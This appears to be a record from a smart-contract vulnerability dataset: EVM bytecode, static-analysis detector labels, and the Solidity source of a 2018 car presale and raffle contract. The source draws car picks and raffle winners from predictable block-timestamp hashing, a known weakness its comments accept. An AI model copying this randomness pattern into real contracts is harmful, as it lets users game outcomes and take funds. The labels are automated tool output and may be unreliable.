9250600091505b828210156108bf576108b284838151811015156108a357fe5b90602001906020020151611910565b818060010192505061088a565b50505050565b60008060006109086040805190810160405280600b81526020017f54776f4b657941646d696e0000000000000000000000000000000000000000008152506117d6565b90508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094457600080fd5b83519250600091505b8282101561098257610975848381518110151561096657fe5b90602001906020020151611c57565b818060010192505061094d565b50505050565b60606000806060600080600061099c610f39565b95506109a6611664565b9450846040519080825280602002602001820160405280156109d75781602001602082028038833980820191505090505b50935060009250600091505b84821015610a73576109f482610a7f565b90506109ff81611f9e565b15610a6657808484815181101515610a1357fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610a6360018461215a90919063ffffffff16565b92505b81806001019250506109e3565b83965050505050505090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7216040805190810160405280600b81526020017f6964546f436f7265446576000000000000000000000000000000000000000000815250846040518083805190602001908083835b602083101515610b2b5780518252602082019150602081019050602083039250610b06565b6001836020036101000a0380198251168184511680821785525050505050509050018281526020019250505060405180910390206040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015610bb957600080fd5b505af1158015610bcd573d6000803e3d6000fd5b505050506040513d6020811015610be357600080fd5b81019080805190602001909291905050509050919050565b606060008060606000806000610c0f6110ab565b9550610c196114e0565b945084604051908082528060200260200182016040528015610c4a5781602001602082028038833980820191505090505b50935060009250600091505b85821015610ce657610c6782611243565b9050610c7281612179565b15610cd957808484815181101515610c8657fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610cd660018461215a90919063ffffffff16565b92505b8180600101925050610c56565b83965050505050505090565b60008060001515600160149054906101000a900460ff161515141515610d1757600080fd5b85600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610da233611910565b600091505b8351821015610ddd57610dd08483815181101515610dc157fe5b90602001906020020151611910565b8180600101925050610da7565b600090505b8251811015610e1857610e0b8382815181101515610dfc57fe5b90602001906020020151611c57565b8080600101915050610de2565b60018060146101000a81548160ff021916908315150217905550505050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e6f82612179565b9050919050565b6000806000610eb96040805190810160405280600b81526020017f54776f4b657941646d696e0000000000000000000000000000000000000000008152506117d6565b90508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef557600080fd5b83519250600091505b82821015610f3357610f268483815181101515610f1757fe5b90602001906020020151612335565b8180600101925050610efe565b50505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd02d0f56040805190810160405280601081526020017f6e756d6265724f66436f726544657673000000000000000000000000000000008152506040518082805190602001908083835b602083101515610fe45780518252602082019150602081019050602083039250610fbf565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561106b57600080fd5b505af115801561107f573d6000803e3d6000fd5b505050506040513d602081101561109557600080fd5b8101908080519060200190929190505050905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd02d0f56040805190810160405280601381526020017f6e756d6265724f664d61696e7461696e657273000000000000000000000000008152506040518082805190602001908083835b6020831015156111565780518252602082019150602081019050602083039250611131565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1580156111dd57600080fd5b505af11580156111f1573d6000803e3d6000fd5b505050506040513d602081101561120757600080fd5b8101908080519060200190929190505050905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7216040805190810160405280600e81526020017f6964546f4d61696e7461696e6572000000000000000000000000000000000000815250846040518083805190602001908083835b6020831015156112ef57805182526020820191506020810190506020830392506112ca565b6001836020036101000a0380198251168184511680821785525050505050509050018281526020019250505060405180910390206040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561137d57600080fd5b505af1158015611391573d6000803e3d6000fd5b505050506040513d60208110156113a757600080fd5b81019080805190602001909291905050509050919050565b60008060006114026040805190810160405280600b81526020017f54776f4b657941646d696e0000000000000000000000000000000000000000008152506117d6565b90508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143e57600080fd5b83519250600091505b8282101561147c5761146f848381518110151561146057fe5b906020019060200201516124de565b8180600101925050611447565b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114dd57600080fd5b50565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd02d0f56040805190810160405280601981526020017f6e756d6265724f664163746976654d61696e7461696e657273000000000000008152506040518082805190602001908083835b60208310151561158b5780518252602082019150602081019050602083039250611566565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561161257600080fd5b505af1158015611626573d6000803e3d6000fd5b505050506040513d602081101561163c57600080fd5b8101908080519060200190929190505050905090565b600061165d82611f9e565b9050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd02d0f56040805190810160405280601681526020017f6e756d6265724f66416374697665436f726544657673000000000000000000008152506040518082805190602001908083835b60208310151561170f57805182526020820191506020810190506020830392506116ea565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561179657600080fd5b505af11580156117aa573d6000803e3d6000fd5b505050506040513d60208110156117c057600080fd5b8101908080519060200190929190505050905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663db7a6d90836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611882578082015181840152602081019050611867565b50505050905090810190601f1680156118af5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b1580156118ce57600080fd5b505af11580156118e2573d6000803e3d6000fd5b505050506040513d60208110156118f857600080fd5b81019080805190602001909291905050509050919050565b60008060006040805190810160405280600c81526020017f69734d61696e7461696e65720000000000000000000000000000000000000000815250846040518083805190602001908083835b602083101515611981578051825260208201915060208101905060208303925061195c565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140192505050604051809103902092506119fa6110ab565b91506040805190810160405280600e81526020017f6964546f4d61696e7461696e6572000000000000000000000000000000000000815250826040518083805190602001908083835b602083101515611a685780518252602082019150602081019050602083039250611a43565b6001836020036101000a0380198251168184511680821785525050505050509050018281526020019250505060405180910390209050611aa6612687565b611aae6128c5565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ca446dd982866040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015611b7b57600080fd5b505af1158015611b8f573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced8460016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b158015611c3957600080fd5b505af1158015611c4d573d6000803e3d6000fd5b5050505050505050565b60008060006040805190810160405280600981526020017f6973436f72654465760000000000000000000000000000000000000000000000815250846040518083805190602001908083835b602083101515611cc85780518252602082019150602081019050602083039250611ca3565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209250611d41610f39565b91506040805190810160405280600b81526020017f6964546f436f7265446576000000000000000000000000000000000000000000815250826040518083805190602001908083835b602083101515611daf5780518252602082019150602081019050602083039250611d8a565b6001836020036101000a0380198251168184511680821785525050505050509050018281526020019250505060405180910390209050611ded612b03565b611df5612d41565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ca446dd982866040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015611ec257600080fd5b505af1158015611ed6573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced8460016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b158015611f8057600080fd5b505af1158015611f94573d6000803e3d6000fd5b5050505050505050565b6000806040805190810160405280600981526020017f6973436f72654465760000000000000000000000000000000000000000000000815250836040518083805190602001908083835b60208310151561200d5780518252602082019150602081019050602083039250611fe8565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ae1cfca826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561211757600080fd5b505af115801561212b573d6000803e3d6000fd5b505050506040513d602081101561214157600080fd5b8101908080519060200190929190505050915050919050565b6000818301905082811015151561217057600080fd5b80905092915050565b6000806040805190810160405280600c81526020017f69734d61696e7461696e65720000000000000000000000000000000000000000815250836040518083805190602001908083835b6020831015156121e857805182526020820191506020810190506020830392506121c3565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ae1cfca826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1580156122f257600080fd5b505af1158015612306573d6000803e3d6000fd5b505050506040513d602081101561231c57600080fd5b8101908080519060200190929190505050915050919050565b60006040805190810160405280600c81526020017f69734d61696e7461696e65720000000000000000000000000000000000000000815250826040518083805190602001908083835b6020831015156123a3578051825260208201915060208101905060208303925061237e565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401925050506040518091039020905061241c612f7f565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced8260006040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b1580156124c257600080fd5b505af11580156124d6573d6000803e3d6000fd5b505050505050565b60006040805190810160405280600981526020017f6973436f72654465760000000000000000000000000000000000000000000000815250826040518083805190602001908083835b60208310151561254c5780518252602082019150602081019050602083039250612527565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140192505050604051809103902090506125c56131bd565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced8260006040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b15801561266b57600080fd5b505af115801561267f573d6000803e3d6000fd5b505050505050565b60006040805190810160405280601381526020017f6e756d6265724f664d61696e7461696e657273000000000000000000000000008152506040518082805190602001908083835b6020831015156126f457805182526020820191506020810190506020830392506126cf565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a4853a826128496001600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd02d0f5876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561280057600080fd5b505af1158015612814573d6000803e3d6000fd5b505050506040513d602081101561282a57600080fd5b810190808051906020019092919050505061215a90919063ffffffff16565b6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b1580156128aa57600080fd5b505af11580156128be573d6000803e3d6000fd5b5050505050565b60006040805190810160405280601981526020017f6e756d6265724f664163746976654d61696e7461696e657273000000000000008152506040518082805190602001908083835b602083101515612932578051825260208201915060208101905060208303925061290d565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a4853a82612a876001600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd02d0f5876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015612a3e57600080fd5b505af1158015612a52573d6000803e3d6000fd5b505050506040513d6020811015612a6857600080fd5b810190808051906020019092919050505061215a90919063ffffffff16565b6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b158015612ae857600080fd5b505af1158015612afc573d6000803e3d6000fd5b5050505050565b60006040805190810160405280601081526020017f6e756d6265724f66436f726544657673000000000000000000000000000000008152506040518082805190602001908083835b602083101515612b705780518252602082019150602081019050602083039250612b4b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a4853a82612cc56001600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd02d0f5876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015612c7c57600080fd5b505af1158015612c90573d6000803e3d6000fd5b505050506040513d6020811015612ca657600080fd5b810190808051906020019092919050505061215a90919063ffffffff16565b6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b158015612d2657600080fd5b505af1158015612d3a573d6000803e3d6000fd5b5050505050565b60006040805190810160405280601681526020017f6e756d6265724f66416374697665436f726544657673000000000000000000008152506040518082805190602001908083835b602083101515612dae5780518252602082019150602081019050602083039250612d89565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a4853a82612f036001600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd02d0f5876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015612eba57600080fd5b505af1158015612ece573d6000803e3d6000fd5b505050506040513d6020811015612ee457600080fd5b810190808051906020019092919050505061215a90919063ffffffff16565b6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b158015612f6457600080fd5b505af1158015612f78573d6000803e3d6000fd5b5050505050565b60006040805190810160405280601981526020017f6e756d6265724f664163746976654d61696e7461696e657273000000000000008152506040518082805190602001908083835b602083101515612fec5780518252602082019150602081019050602083039250612fc7565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a4853a826131416001600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd02d0f5876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1580156130f857600080fd5b505af115801561310c573d6000803e3d6000fd5b505050506040513d602081101561312257600080fd5b81019080805190602001909291905050506133fb90919063ffffffff16565b6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b1580156131a257600080fd5b505af11580156131b6573d6000803e3d6000fd5b5050505050565b60006040805190810160405280601681526020017f6e756d6265724f66416374697665436f726544657673000000000000000000008152506040518082805190602001908083835b60208310151561322a5780518252602082019150602081019050602083039250613205565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a4853a8261337f6001600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd02d0f5876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561333657600080fd5b505af115801561334a573d6000803e3d6000fd5b505050506040513d602081101561336057600080fd5b81019080805190602001909291905050506133fb90919063ffffffff16565b6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b1580156133e057600080fd5b505af11580156133f4573d6000803e3d6000fd5b5050505050565b600082821115151561340c57600080fd5b8183039050929150505600a165627a7a72305820921f587240bb2d6b202693a954b173fabb89a778ae79f635c0871e587f891f080029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
6,810
0xd6566062a24716213f0851e455fc52325f42a23d
pragma solidity ^0.4.18; contract AccessControl { /// @dev The addresses of the accounts (or contracts) that can execute actions within each roles address public ceoAddress; address public cooAddress; /// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev The AccessControl constructor sets the original C roles of the contract to the sender account function AccessControl() public { ceoAddress = msg.sender; cooAddress = msg.sender; } /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// @dev Access modifier for any CLevel functionality modifier onlyCLevel() { require(msg.sender == ceoAddress || msg.sender == cooAddress); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Pause the smart contract. Only can be called by the CEO function pause() public onlyCEO whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Only can be called by the CEO function unpause() public onlyCEO whenPaused { paused = false; } } contract RacingClubPresale is AccessControl { using SafeMath for uint256; // Max number of cars (includes sales and gifts) uint256 public constant MAX_CARS = 999; // Max number of cars to gift (includes unicorns) uint256 public constant MAX_CARS_TO_GIFT = 99; // Max number of unicorn cars to gift uint256 public constant MAX_UNICORNS_TO_GIFT = 9; // End date for the presale. No purchases can be made after this date. // Thursday, May 10, 2018 11:59:59 PM uint256 public constant PRESALE_END_TIMESTAMP = 1525996799; // Price limits to decrease the appreciation rate uint256 private constant PRICE_LIMIT_1 = 0.1 ether; // Appreciation steps for each price limit uint256 private constant APPRECIATION_STEP_1 = 0.0005 ether; uint256 private constant APPRECIATION_STEP_2 = 0.0001 ether; // Max count which can be bought with one transaction uint256 private constant MAX_ORDER = 5; // 0 - 9 valid Id's for cars uint256 private constant CAR_MODELS = 10; // The special car (the most rarest one) which can't be picked even with MAX_ORDER uint256 public constant UNICORN_ID = 0; // Maps any number from 0 - 255 to 0 - 9 car Id uint256[] private PROBABILITY_MAP = [4, 18, 32, 46, 81, 116, 151, 186, 221, 256]; // Step by which the price should be changed uint256 public appreciationStep = APPRECIATION_STEP_1; // Current price of the car. The price appreciation is happening with each new sale. uint256 public currentPrice = 0.001 ether; // Overall cars count uint256 public carsCount; // Overall gifted cars count uint256 public carsGifted; // Gifted unicorn cars count uint256 public unicornsGifted; // A mapping from addresses to the carIds mapping (address => uint256[]) private ownerToCars; // A mapping from addresses to the upgrade packages mapping (address => uint256) private ownerToUpgradePackages; // Events event CarsPurchased(address indexed _owner, uint256[] _carIds, bool _upgradePackage, uint256 _pricePayed); event CarGifted(address indexed _receiver, uint256 _carId, bool _upgradePackage); // Buy a car. The cars are unique within the order. // If order count is 5 then one car can be preselected. function purchaseCars(uint256 _carsToBuy, uint256 _pickedId, bool _upgradePackage) public payable whenNotPaused { require(now < PRESALE_END_TIMESTAMP); require(_carsToBuy > 0 && _carsToBuy <= MAX_ORDER); require(carsCount + _carsToBuy <= MAX_CARS); uint256 priceToPay = calculatePrice(_carsToBuy, _upgradePackage); require(msg.value >= priceToPay); // return excess ether uint256 excess = msg.value.sub(priceToPay); if (excess > 0) { msg.sender.transfer(excess); } // initialize an array for the new cars uint256[] memory randomCars = new uint256[](_carsToBuy); // shows from which point the randomCars array should be filled uint256 startFrom = 0; // for MAX_ORDERs the first item is user picked if (_carsToBuy == MAX_ORDER) { require(_pickedId < CAR_MODELS); require(_pickedId != UNICORN_ID); randomCars[0] = _pickedId; startFrom = 1; } fillRandomCars(randomCars, startFrom); // add new cars to the owner's list for (uint256 i = 0; i < randomCars.length; i++) { ownerToCars[msg.sender].push(randomCars[i]); } // increment upgrade packages if (_upgradePackage) { ownerToUpgradePackages[msg.sender] += _carsToBuy; } CarsPurchased(msg.sender, randomCars, _upgradePackage, priceToPay); carsCount += _carsToBuy; currentPrice += _carsToBuy * appreciationStep; // update this once per purchase // to save the gas and to simplify the calculations updateAppreciationStep(); } // MAX_CARS_TO_GIFT amout of cars are dedicated for gifts function giftCar(address _receiver, uint256 _carId, bool _upgradePackage) public onlyCLevel { // NOTE // Some promo results will be calculated after the presale, // so there is no need to check for the PRESALE_END_TIMESTAMP. require(_carId < CAR_MODELS); require(_receiver != address(0)); // check limits require(carsCount < MAX_CARS); require(carsGifted < MAX_CARS_TO_GIFT); if (_carId == UNICORN_ID) { require(unicornsGifted < MAX_UNICORNS_TO_GIFT); } ownerToCars[_receiver].push(_carId); if (_upgradePackage) { ownerToUpgradePackages[_receiver] += 1; } CarGifted(_receiver, _carId, _upgradePackage); carsCount += 1; carsGifted += 1; if (_carId == UNICORN_ID) { unicornsGifted += 1; } currentPrice += appreciationStep; updateAppreciationStep(); } function calculatePrice(uint256 _carsToBuy, bool _upgradePackage) private view returns (uint256) { // Arithmetic Sequence // A(n) = A(0) + (n - 1) * D uint256 lastPrice = currentPrice + (_carsToBuy - 1) * appreciationStep; // Sum of the First n Terms of an Arithmetic Sequence // S(n) = n * (a(1) + a(n)) / 2 uint256 priceToPay = _carsToBuy * (currentPrice + lastPrice) / 2; // add an extra amount for the upgrade package if (_upgradePackage) { if (_carsToBuy < 3) { priceToPay = priceToPay * 120 / 100; // 20% extra } else if (_carsToBuy < 5) { priceToPay = priceToPay * 115 / 100; // 15% extra } else { priceToPay = priceToPay * 110 / 100; // 10% extra } } return priceToPay; } // Fill unique random cars into _randomCars starting from _startFrom // as some slots may be already filled function fillRandomCars(uint256[] _randomCars, uint256 _startFrom) private view { // All random cars for the current purchase are generated from this 32 bytes. // All purchases within a same block will get different car combinations // as current price is changed at the end of the purchase. // // We don't need super secure random algorithm as it's just presale // and if someone can time the block and grab the desired car we are just happy for him / her bytes32 rand32 = keccak256(currentPrice, now); uint256 randIndex = 0; uint256 carId; for (uint256 i = _startFrom; i < _randomCars.length; i++) { do { // the max number for one purchase is limited to 5 // 32 tries are more than enough to generate 5 unique numbers require(randIndex < 32); carId = generateCarId(uint8(rand32[randIndex])); randIndex++; } while(alreadyContains(_randomCars, carId, i)); _randomCars[i] = carId; } } // Generate a car ID from the given serial number (0 - 255) function generateCarId(uint256 _serialNumber) private view returns (uint256) { for (uint256 i = 0; i < PROBABILITY_MAP.length; i++) { if (_serialNumber < PROBABILITY_MAP[i]) { return i; } } // we should not reach to this point assert(false); } // Check if the given value is already in the list. // By default all items are 0 so _to is used explicitly to validate 0 values. function alreadyContains(uint256[] _list, uint256 _value, uint256 _to) private pure returns (bool) { for (uint256 i = 0; i < _to; i++) { if (_list[i] == _value) { return true; } } return false; } function updateAppreciationStep() private { // this method is called once per purcahse // so use 'greater than' not to miss the limit if (currentPrice > PRICE_LIMIT_1) { // don't update if there is no change if (appreciationStep != APPRECIATION_STEP_2) { appreciationStep = APPRECIATION_STEP_2; } } } function carCountOf(address _owner) public view returns (uint256 _carCount) { return ownerToCars[_owner].length; } function carOfByIndex(address _owner, uint256 _index) public view returns (uint256 _carId) { return ownerToCars[_owner][_index]; } function carsOf(address _owner) public view returns (uint256[] _carIds) { return ownerToCars[_owner]; } function upgradePackageCountOf(address _owner) public view returns (uint256 _upgradePackageCount) { return ownerToUpgradePackages[_owner]; } function allOf(address _owner) public view returns (uint256[] _carIds, uint256 _upgradePackageCount) { return (ownerToCars[_owner], ownerToUpgradePackages[_owner]); } function getStats() public view returns (uint256 _carsCount, uint256 _carsGifted, uint256 _unicornsGifted, uint256 _currentPrice, uint256 _appreciationStep) { return (carsCount, carsGifted, unicornsGifted, currentPrice, appreciationStep); } function withdrawBalance(address _to, uint256 _amount) public onlyCEO { if (_amount == 0) { _amount = address(this).balance; } if (_to == address(0)) { ceoAddress.transfer(_amount); } else { _to.transfer(_amount); } } // Raffle // max count of raffle participants uint256 public raffleLimit = 50; // list of raffle participants address[] private raffleList; // Events event Raffle2Registered(address indexed _iuser, address _user); event Raffle3Registered(address _user); function isInRaffle(address _address) public view returns (bool) { for (uint256 i = 0; i < raffleList.length; i++) { if (raffleList[i] == _address) { return true; } } return false; } function getRaffleStats() public view returns (address[], uint256) { return (raffleList, raffleLimit); } function drawRaffle(uint256 _carId) public onlyCLevel { bytes32 rand32 = keccak256(now, raffleList.length); uint256 winner = uint(rand32) % raffleList.length; giftCar(raffleList[winner], _carId, true); } function resetRaffle() public onlyCLevel { delete raffleList; } function setRaffleLimit(uint256 _limit) public onlyCLevel { raffleLimit = _limit; } // Raffle v1 function registerForRaffle() public { require(raffleList.length < raffleLimit); require(!isInRaffle(msg.sender)); raffleList.push(msg.sender); } // Raffle v2 function registerForRaffle2() public { Raffle2Registered(msg.sender, msg.sender); } // Raffle v3 function registerForRaffle3() public payable { Raffle3Registered(msg.sender); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a0f8168146101bc5780630cf20cc91461021157806310beb0701461025357806318643d37146102c457806318e124e4146102ed5780631f7cdd9b1461033a57806327d7874c146103635780632b99f3591461039c5780632ba73c15146103f25780633f4ba83a1461042b578063403a8f531461044057806351593759146104555780635c975abb146104a25780635f4784a5146104cf57806360456068146105645780636d99f6521461058d5780637a7224cb146105a2578063841b4cd8146105f35780638456cb59146105fd578063856a89fd1461061257806399110d3c146106355780639d1b464a1461065e5780639e126449146106875780639f1ae6ac1461069c578063b047fb50146106c5578063c1ae36d01461071a578063c3d97a27146107a8578063c59d4847146107d1578063cab7e3d914610816578063cf76ebf914610842578063d13f092e1461086b578063d47510c01461088e578063d64b12cf146108b7578063ec14f974146108e0578063fafb3c7a14610909575b600080fd5b34156101c757600080fd5b6101cf610956565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610251600480803573ffffffffffffffffffffffffffffff